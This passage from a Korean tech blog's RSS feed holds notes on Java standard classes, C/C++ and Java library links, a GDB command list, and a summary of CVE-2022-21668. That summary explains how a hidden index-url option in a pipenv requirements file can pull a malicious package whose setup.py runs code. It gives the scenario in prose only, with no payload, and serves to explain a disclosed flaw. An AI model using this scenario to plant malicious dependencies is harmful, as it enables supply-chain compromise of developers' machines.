  &lt;li&gt;MissingResourceException Signals that a resource is missing.&lt;/li&gt;
  &lt;li&gt;NoSuchElementException Thrown by various accessor methods to indicate that the element being requested does not exist.&lt;/li&gt;
  &lt;li&gt;TooManyListenersException The TooManyListenersException Exception is used as part of the Java Event model to annotate and implement a unicast special case of a multicast Event Source.&lt;/li&gt;
  &lt;li&gt;UnknownFormatConversionException Unchecked exception thrown when an unknown conversion is given.&lt;/li&gt;
  &lt;li&gt;UnknownFormatFlagsException Unchecked exception thrown when an unknown flag is given.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;오류&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;ServiceConfigurationError - 서비스 제공자를 찾거나, 로드하거나, 인스턴스화 중 문제가 생길 시 오류를 발생시킴.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;

&lt;/blockquote&gt;

&lt;hr /&gt;

&lt;p&gt;ServiceConfigurationError - java.util.spi에 관련된 에러로 보인다.&lt;/p&gt;

&lt;p&gt;Locale.FilteringMode - 예를 들어 ko와, ko_KR, ko-KR.UTF-8 등의 형식에 대한 Enum이다.&lt;/p&gt;
</description>
        <pubDate>Mon, 28 Feb 2022 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/2022/02/28/java.base-java.util/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/2022/02/28/java.base-java.util/</guid>
      </item>
    
      <item>
        <title>CVE-2022-21668</title>
        <description>&lt;h3 id=&quot;취약점-번호---cve-2022-21668&quot;&gt;취약점 번호 - &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21668&quot;&gt;CVE-2022-21668&lt;/a&gt;&lt;/h3&gt;

&lt;h3 id=&quot;영향을-주는-프로그램---pipenv&quot;&gt;영향을 주는 프로그램 - pipenv&lt;/h3&gt;

&lt;h3 id=&quot;취약점이-주는-영향---악성-코드가-삽입된-패키지가-설치되어-피해자-컴퓨터에서-실행된다&quot;&gt;취약점이 주는 영향 - 악성 코드가 삽입된 패키지가 설치되어 피해자 컴퓨터에서 실행된다&lt;/h3&gt;

&lt;h3 id=&quot;취약점-요약---pipenv의-요구-사항-파일-구문-분석의-결함으로-인해-공격자는-requirementstxt-파일-내의-아무-곳에서나-주석-내부에-특수하게-조작된-문자열을-삽입할-수-있습니다-이는-pipenv를-사용하여-요구-사항-파일예--포함을-설치하는-피해자가-공격자가-제어하는-패키지-인덱스-서버에서-종속성을-다운로드하도록-합니다-공격자는-악성-인덱스-서버에서-제공하는-패키지에-악성-코드를-삽입하여-피해자-시스템에서-임의의-원격-코드-실행rce을-트리거할-수-있습니다&quot;&gt;취약점 요약 - pipenv의 요구 사항 파일 구문 분석의 결함으로 인해 공격자는 requirements.txt 파일 내의 아무 곳에서나 주석 내부에 특수하게 조작된 문자열을 삽입할 수 있습니다. 이는 pipenv를 사용하여 요구 사항 파일(예: “” 포함)을 설치하는 피해자가 공격자가 제어하는 패키지 인덱스 서버에서 종속성을 다운로드하도록 합니다. 공격자는 악성 인덱스 서버에서 제공하는 패키지에 악성 코드를 삽입하여 피해자 시스템에서 임의의 원격 코드 실행(RCE)을 트리거할 수 있습니다&lt;/h3&gt;

&lt;h3 id=&quot;취약점-대처-방안---index-url-은-주석-문자열로-무시&quot;&gt;취약점 대처 방안 - –index-url, #은 주석 문자열로 무시&lt;/h3&gt;

&lt;h3 id=&quot;원본-버그-리포트&quot;&gt;&lt;a href=&quot;https://github.com/pypa/pipenv/security/advisories/GHSA-qc9x-gjcv-465w&quot;&gt;원본 버그 리포트&lt;/a&gt;&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;pip : python을 이용하며 사용하게 되는 패키지 관리 툴&lt;/p&gt;

  &lt;p&gt;virtualenv : python으로 개발을 하게 되면 거의 항상 복수의 패키지를 설치하게 됨. 하지만 각각의 프로젝트가 요구하는 패키지들의 상세 내용이 다를 수 있으므로 각 프로젝트 내 개발 환경을 구축하게 해주는 것&lt;/p&gt;

  &lt;p&gt;pipenv(pip+virtualenv) : pipfile, pipfile.kock을 requirements.txt를 대신해서 사용, 해쉬 자동생성, .env 파일들을 사용한 스트림라인 개발 워크플로우&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;공격-시나리오---requirementtxt-에서-악성-옵션을-숨길-수-있는-경우---설치-중에-공격대상의-호스트에서-실행될-악성-인덱스-서버에서-제공되는-제공되는-패키지에-임의의-악성코드를-포함---공격자가-requirementtxt에-지정된-패키지에-대한-소스-배포를-간단히-구축하고-setuppy-파일에-임의의-악성-코드를-포함할-수-있음---pip가-소스-배포에서-설치되면-setuppy의-모든-코드가-설치-프로세스에-의해-실행됩니다&quot;&gt;공격 시나리오 - requirement.txt 에서 악성 옵션을 숨길 수 있는 경우 -&amp;gt; 설치 중에 공격대상의 호스트에서 실행될 악성 인덱스 서버에서 제공되는 제공되는 패키지에 임의의 악성코드를 포함 -&amp;gt; 공격자가 requirement.txt에 지정된 패키지에 대한 소스 배포를 간단히 구축하고 setup.py 파일에 임의의 악성 코드를 포함할 수 있음 -&amp;gt; pip가 소스 배포에서 설치되면 setup.py의 모든 코드가 설치 프로세스에 의해 실행됩니다&lt;/h3&gt;
</description>
        <pubDate>Mon, 28 Feb 2022 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/2022/02/28/CVE_2022_21668/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/2022/02/28/CVE_2022_21668/</guid>
      </item>
    
      <item>
        <title>java.lang.System</title>
        <description>&lt;blockquote&gt;
  &lt;p&gt;종류 - 클래스&lt;/p&gt;

  &lt;p&gt;모듈 - java.base&lt;/p&gt;

  &lt;p&gt;패키지 - java.lang&lt;/p&gt;

  &lt;p&gt;상속&lt;/p&gt;

  &lt;ol&gt;
    &lt;li&gt;java.lang.Object&lt;/li&gt;
    &lt;li&gt;java.lang.System&lt;/li&gt;
  &lt;/ol&gt;
&lt;/blockquote&gt;

&lt;p&gt;내부 클래스&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;static interface java.lang.System.Logger&lt;/li&gt;
  &lt;li&gt;static class java.lang.System.LoggerFinder&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;필드&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;static final PrintStream err - 표준 오류 출력 스트림&lt;/li&gt;
  &lt;li&gt;static final InputStream in - 표준 입력 스트림&lt;/li&gt;
  &lt;li&gt;static final PrintStream out - 표준 출력 스트림&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;메소드 (&lt;strong&gt;구상 메소드&lt;/strong&gt;) (&lt;em&gt;자주 사용되지 않음&lt;/em&gt;)&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;static void arraycopy(Object src, int srcPos, Object dest, int destPos, int length) - src배열의 srcPos위치부터 dest배열의 destPos위치로 length만큼 복사한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static String clearProperty(String key) - setProperty로 설정된 속성을 삭제한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static Console console() - 가능한 경우, 현재 자바 가상머신의 Console 오브젝트를 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static long currentTimeMillis() - 현재 시간을 밀리세컨드로 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static void exit(int status) - 자바 가상머신을 종료한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static void gc() - 가비지 컬렉션을 실행한다. (불필요한 메모리 정리)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static Map&amp;lt;String,String&amp;gt; getenv() - Map형태의 시스템 환경변수를 받아온다. (이 Map을 이용해 시스템 환경변수를 수정할 순 없다.)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static String getenv(String name) - 시스템 환경변수를 받아온다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static System.Logger getLogger(String name) - name을 기준으로 Logger 인스턴스를 받아온다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static System.Logger getLogger(String name, ResourceBundle bundle) - name을 기준으로 Logger 인스턴스를 받아온다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static Properties getProperties() - 현재 시스템 속성들을 불러온다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static String getProperty(String key) - 현재 시스템 속성을 불러온다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static String getProperty(String key, String def) - 현재 시스템 속성을 불러온다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;em&gt;static SecurityManager getSecurityManager() - 더 이상 사용되지 않으며, 향후 삭제될 Security Manager와 함께 사용된다.&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static int identityHashCode(Object x) - 인자로 주어진 Object가 hashCode()메소드를 오버라이딩했는지에 상관 없이, 기본 hashCode()메소드의 기능을 수행한다. (Object식별용 hashCode메소드)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static Channel inheritedChannel() - 현재 자바 가상머신이 상속받은 Channel을 리턴한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static String lineSeparator() - 개행문자(\n)를 리턴한다. (OS가 달라도 작동하게 하기 위한 호환성 전용) (getProperty(“line.seperator”)와도 같음.)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static void load(String filename) - 주어진 경로의 파일의 네이티브 라이브러리를 불러온다. (dll이나 so의 확장자를 제외하여야 함.)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static void loadLibrary(String libname) - 주어진 이름의 네이티브 라이브러리를 불러온다. (환경변수 path의 경로를 살펴봄, 위와 같이 확장자 제거 필수)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static String mapLibraryName(String libname) - 네이티브 라이브러리의 플랫폼별 라이브러리 이름을 출력한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static long nanoTime() - 현재 자바 가상머신의 고성능 시간값을 나노초로 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static void runFinalization() - Finalization이 가능한 객체의 Finalization을 수행한다. (더이상 사용되지 않는 클래스의 finalize메소드를 사용하는것. finalize메소드는 메모리 할당이 사라지기 직전에 호출되는 메소드다.)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static void setErr(PrintStream err) - 표준 오류 출력 스트림을 재할당한다. (새로운 필드로 변경)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static void setIn(InputStream in) - 표준 입력 스트림을 재할당한다. (새로운 필드로 변경)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static void setOut(PrintStream out) - 표준 출력 스트림을 재할당한다. (새로운 필드로 변경)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static void setProperties(Properties props) - Properties형태의 시스템 속성들을 설정한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static String setProperty(String key, String value) - 시스템 속성을 설정한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;em&gt;static void setSecurityManager(SecurityManager sm) - 더 이상 사용되지 않으며, 향후 삭제될 Security Manager와 함께 사용된다.&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
  &lt;p&gt;자바로 프로그램을 만들어 본 사람이라면 한번쯤은 사용해 봤을 클래스, java.lang은 기본적으로 임포트 되어 있으므로 보통 System.out.println(java.lang.String)으로만 봤을것이다.&lt;/p&gt;

  &lt;p&gt;java.lang.System.out은 java.io.PrintStream클래스를 이용해 만든 필드이며, java.lang.System.err과 동일하다는것을 알게 되었다.&lt;/p&gt;

  &lt;p&gt;java.lang.System.out을 이용하지 않고도 java.io.PrintStream out; out.println(java.lang.String)을 이용해 출력이 가능한 것 같다.&lt;/p&gt;
&lt;/blockquote&gt;
</description>
        <pubDate>Wed, 23 Feb 2022 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/2022/02/23/java.base-java.lang.System/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/2022/02/23/java.base-java.lang.System/</guid>
      </item>
    
      <item>
        <title>java.io.PrintStream</title>
        <description>&lt;blockquote&gt;
  &lt;p&gt;종류 - 클래스&lt;/p&gt;

  &lt;p&gt;모듈 - java.base&lt;/p&gt;

  &lt;p&gt;패키지 - java.io&lt;/p&gt;

  &lt;p&gt;상속&lt;/p&gt;

  &lt;ol&gt;
    &lt;li&gt;java.lang.Object&lt;/li&gt;
    &lt;li&gt;java.io.OutputStream&lt;/li&gt;
    &lt;li&gt;java.io.FilterOutputStream&lt;/li&gt;
    &lt;li&gt;java.io.PrintStream&lt;/li&gt;
  &lt;/ol&gt;
&lt;/blockquote&gt;

&lt;p&gt;생성자&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;PrintStream(File file) - 지정된 파일을 이용하여, 자동 라인 플러시가 없는 출력 스트림을 만든다.&lt;/li&gt;
  &lt;li&gt;PrintStream(File file, String csn) - 지정된 파일과 문자셋을 이용하여, 자동 라인 플러시가 없는 출력 스트림을 만든다.&lt;/li&gt;
  &lt;li&gt;PrintStream(File file, Charset charset) - 지정된 파일과 문자셋을 이용하여, 자동 라인 플러시가 없는 출력 스트림을 만든다.&lt;/li&gt;
  &lt;li&gt;PrintStream(OutputStream out) - OutputStream을 이용하여, 자동 라인 플러시가 없는 출력 스트림을 만든다.&lt;/li&gt;
  &lt;li&gt;PrintStream(OutputStream out, boolean autoFlush) - OutputStream을 이용하여 출력 스트림을 만든다.&lt;/li&gt;
  &lt;li&gt;PrintStream(OutputStream out, boolean autoFlush, String encoding) - OutputStream을 이용하여, 특정한 인코딩 형식의 출력 스트림을 만든다.&lt;/li&gt;
  &lt;li&gt;PrintStream(OutputStream out, boolean autoFlush, Charset charset) - OutputStream을 이용하여, 특정한 문자셋을 이용한 출력 스트림을 만든다.&lt;/li&gt;
  &lt;li&gt;PrintStream(String fileName) - 지정된 이름의 파일을 이용하여, 자동 라인 플러시가 없는 출력 스트림을 만든다.&lt;/li&gt;
  &lt;li&gt;PrintStream(String fileName, String csn) - 지정된 이름의 파일과 문자셋을 이용하여, 자동 라인 플러시가 없는 출력 스트림을 만든다.&lt;/li&gt;
  &lt;li&gt;PrintStream(String fileName, Charset charset) - 지정된 이름의 파일과 문자셋을 이용하여, 자동 라인 플러시가 없는 출력 스트림을 만든다.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;메소드 (&lt;strong&gt;구상 메소드&lt;/strong&gt;) (&lt;em&gt;자주 사용되지 않음&lt;/em&gt;)&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;PrintStream append(char c) - 주어진 문자를 출력 스트림에 추가한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;PrintStream append(CharSequence csq) - 주어진 문자열을 출력 스트림에 추가한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;PrintStream append(CharSequence csq, int start, int end) - 주어진 문자열의 일부를 출력 스트림에 추가한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;boolean checkError() - 스트림을 플러시시키고, 에러 상태를 확인한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;protected void clearError() - 이 스트림의 에러 상태를 초기화한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void close() - 이 스트림을 닫는다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void flush() - 이 스트림을 플러시한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;PrintStream format(String format, Object… args) - 포맷 스트링과 인자를 활용하여 문자열을 출력 스트림에 쓴다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;PrintStream format(Locale l, String format, Object… args) - 포맷 스트링과 인자를 활용하여 문자열을 출력 스트림에 쓴다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void print(boolean b) - 인자를 출력한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void print(char c) - 인자를 출력한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void print(char[] s) - 인자를 출력한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void print(double d) - 인자를 출력한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void print(float f) - 인자를 출력한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void print(int i) - 인자를 출력한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void print(long l) - 인자를 출력한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void print(Object obj) - 인자를 출력한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void print(String s) - 인자를 출력한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;PrintStream printf(String format, Object… args) - 포맷 스트링과 인자를 활용하여 문자열을 출력 스트림에 쓴다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;PrintStream printf(Locale l, String format, Object… args) - 포맷 스트링과 인자를 활용하여 문자열을 출력 스트림에 쓴다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void println() - 줄 변경 기호를 출력해 줄을 마친다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void println(boolean x) - 인자를 출력 후, 줄을 마친다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void println(char x) - 인자를 출력 후, 줄을 마친다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void println(char[] x) - 인자를 출력 후, 줄을 마친다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void println(double x) - 인자를 출력 후, 줄을 마친다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void println(float x) - 인자를 출력 후, 줄을 마친다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void println(int x) - 인자를 출력 후, 줄을 마친다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void println(long x) - 인자를 출력 후, 줄을 마친다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void println(Object x) - 인자를 출력 후, 줄을 마친다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void println(String x) - 인자를 출력 후, 줄을 마친다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;protected void setError() - 스트림의 에러 상태를 참으로 만든다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void write(byte[] buf) - 주어진 바이트들을 이 스트림에 쓴다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void write(byte[] buf, int off, int len) 주어진 바이트들을 off의 위치부터 len만큼 쓴다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void write(int b) - 주어진 바이트를 이 스트림에 쓴다. (바이트 하나를 정수로 표현)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;void writeBytes(byte[] buf) - 주어진 바이트들을 이 스트림에 쓴다.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
  &lt;p&gt;자주 사용하는 java.lang.System.out이다. java.lang.System.SetErr(PrintStream err) 메소드를 이용하여, 에러는 특정 파일로 출력되게 만들 수 있을 것 같다.&lt;/p&gt;

  &lt;p&gt;생성자를 보면, 출력 형태는 OutputStream이나 파일만 될 수 있는데, java.lang.System의 out과 err의 기본값은 콘솔로 출력하는 OutputStream형태로 된 java.io.PrintStream인 것 같다.&lt;/p&gt;
&lt;/blockquote&gt;
</description>
        <pubDate>Wed, 23 Feb 2022 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/2022/02/23/java.base-java.io.PrintStream/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/2022/02/23/java.base-java.io.PrintStream/</guid>
      </item>
    
      <item>
        <title>Java Library</title>
        <description>&lt;p&gt;자바 라이브러리는 오라클 문서 사이트에서 찾아볼 수 있다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://docs.oracle.com/en/java/javase/17/docs/api/java.base/module-summary.html&quot;&gt;자바 베이스 라이브러리&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://docs.oracle.com/javase/10/docs/api/java.base-summary.html&quot;&gt;링크개편 전 10버전&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://docs.oracle.com/en/java/javase/17/docs/api/index.html&quot;&gt;자바 전체 라이브러리&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://docs.oracle.com/javase/10/docs/api/overview-summary.html&quot;&gt;링크개편 전 10버전&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;추가 업데이트 예정&lt;/p&gt;
&lt;/blockquote&gt;
</description>
        <pubDate>Wed, 23 Feb 2022 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/2022/02/23/Java-Library/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/2022/02/23/Java-Library/</guid>
      </item>
    
      <item>
        <title>C/C++ Library</title>
        <description>&lt;p&gt;C와 C++에 대한 라이브러리는 다음과 같은 곳에서 찾아볼 수 있다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;C 표준&lt;/p&gt;

  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/C_standard_library&quot;&gt;위키피디아 영어&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://ko.wikipedia.org/wiki/C_%ED%91%9C%EC%A4%80_%EB%9D%BC%EC%9D%B4%EB%B8%8C%EB%9F%AC%EB%A6%AC&quot;&gt;위키피디아 한글&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/C_POSIX_library&quot;&gt;POSIX 라이브러리&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://www.cplusplus.com/reference/clibrary/&quot;&gt;cplusplus&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;C++ 표준&lt;/p&gt;

  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/C%2B%2B_Standard_Library&quot;&gt;위키피디아 영어&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://ko.wikipedia.org/wiki/C%2B%2B_%ED%91%9C%EC%A4%80_%EB%9D%BC%EC%9D%B4%EB%B8%8C%EB%9F%AC%EB%A6%AC&quot;&gt;위키피디아 한글&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://www.cplusplus.com/reference/&quot;&gt;cplusplus&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;C++ 확장 라이브러리&lt;/p&gt;

  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://github.com/microsoft/STL&quot;&gt;마이크로소프트 MSVC STL&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://gcc.gnu.org/onlinedocs/libstdc++&quot;&gt;GNU libstdc++&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://libcxx.llvm.org/&quot;&gt;LLVM libc++&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://nvidia.github.io/libcudacxx/&quot;&gt;NVIDIA libcu++&lt;/a&gt; (쿠다)&lt;/li&gt;
  &lt;/ul&gt;

  &lt;p&gt;C++ 기반 라이브러리&lt;/p&gt;

  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://abseil.io/&quot;&gt;Abseil by Google&lt;/a&gt; - 구글 내부 사용중인 오픈소스라이브러리 모음&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://github.com/facebook/folly&quot;&gt;Folly by Facebook&lt;/a&gt; - C++14 기반 페이스북 내부 사용중인 라이브러리&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://github.com/Bareflank/bsl&quot;&gt;BSL by Bareflank&lt;/a&gt; - 컴파일과 동시에 실행가능한 C++ 라이브러리&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;추가 업데이트 예정&lt;/p&gt;
&lt;/blockquote&gt;
</description>
        <pubDate>Wed, 23 Feb 2022 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/2022/02/23/C-CPP-Library/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/2022/02/23/C-CPP-Library/</guid>
      </item>
    
      <item>
        <title>GDB 명령어 정리</title>
        <description>&lt;p&gt;&lt;a href=&quot;/assets/img/posts/2022-02-22.png&quot; style=&quot;max-width: 100%; height: auto;&quot;&gt;GDB 명령어 정리 이미지 링크&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;gcc -g 디버깅 옵션을 줘서 컴파일을 진행한다. (함수정보나 여러 정보가 들어간다.)&lt;/li&gt;
  &lt;li&gt;gdb [프로그램] 디버그 실행&lt;/li&gt;
  &lt;li&gt;gdb -p [PID] 실행중인 프로세스 디버그 (ps나 ps -ef명령어를 통해 프로세스 조회 후 grep으로 찾아내기로 pid를 찾는다.)&lt;/li&gt;
  &lt;li&gt;l (list) gcc -g명령을 통해 컴파일을 했을 경우, 소스코드를 출력한다. 인자로는 숫자(행), 문자(함수이름), 파일명:문자(파일 내 함수나 행)이 있다.&lt;/li&gt;
  &lt;li&gt;r (run) 프로그램을 실행한다. 인자로 무엇을 입력할 시, 프로그램에 인자를 준 채로 실행할 수 있다. 프로그램 실행 중 python이나 perl을 이용해 인자를 주고 싶은 경우 특수한 명령어가 필요하다.&lt;/li&gt;
  &lt;li&gt;c (continue) 프로그램을 계속해서 실행한다.&lt;/li&gt;
  &lt;li&gt;s (step) 현재 행을 수행한다. (함수로 들어간다.) 인자로는 반복 횟수가 들어간다.&lt;/li&gt;
  &lt;li&gt;n (next) 현재 행을 수행한다. (함수를 넘어간다.)&lt;/li&gt;
  &lt;li&gt;si (step instruction) 현재 인스트럭션을 수행한다. (call명령어로 들어간다.)&lt;/li&gt;
  &lt;li&gt;ni (next instruction) 현재 인스트럭션을 수행한다. (call명령어를 넘어간다.)&lt;/li&gt;
  &lt;li&gt;k (kill) 프로그램을 종료한다.&lt;/li&gt;
  &lt;li&gt;disas (disassemble) 어셈블리 명령어를 표시한다. 인자로는 함수명, 0x주소가 있다. 추가로 인자를 두개 넣을 시, A부터 B까지의 어셈블리어를 표시한다.&lt;/li&gt;
  &lt;li&gt;b (break) 브레이크포인트를 건다. 인자로는 함수명, 라인(소스코드), *0x주소가 있다. 변수에 대한 정보가 있을 시 if 변수 &amp;gt; 값 등, 조건을 추가할 수 있다. (기존 브레이크포인트에 condition명령어를 통해 조건을 추가 가능)&lt;/li&gt;
  &lt;li&gt;tb 임시 브레이크를 건다.&lt;/li&gt;
  &lt;li&gt;d (delete) 브레이크포인트를 지운다. 인자로는 브레이크포인트 고유번호가 들어간다. (info b나 info break를 통해 고유번호를 알아낼 수 있다.)&lt;/li&gt;
  &lt;li&gt;cl (clear) 브레이크포인트를 지운다. 인자로는 함수명, 라인(소스코드), *0x주소가 있다.&lt;/li&gt;
  &lt;li&gt;enable 브레이크포인트를 활성화한다. 인자로는 브레이크포인트 고유번호가 들어간다.&lt;/li&gt;
  &lt;li&gt;disable 브레이크포인트를 비활성화한다. 인자로는 브레이크포인트 고유번호가 들어간다.&lt;/li&gt;
  &lt;li&gt;p (print) 여러 값을 출력한다. 인자로는 변수명(함수명), $레지스터명이 들어간다. p/x등의 방법을 이용해 표기 형태를 정할 수 있다. 추가로 =을 이용해 값을 설정할 수 있다.&lt;/li&gt;
  &lt;li&gt;display 값을 멈출때마다 출력한다. 인자는 p와 같다.&lt;/li&gt;
  &lt;li&gt;undisplay 디스플레이 설정을 해제한다. 인자로는 디스플레이 고유번호가 들어가며, info display를 통해 디스플레이 번호를 알아낼 수 있다.&lt;/li&gt;
  &lt;li&gt;enable display 디스플레이를 활성화한다. 인자로는 디스플레이 고유번호가 들어간다.&lt;/li&gt;
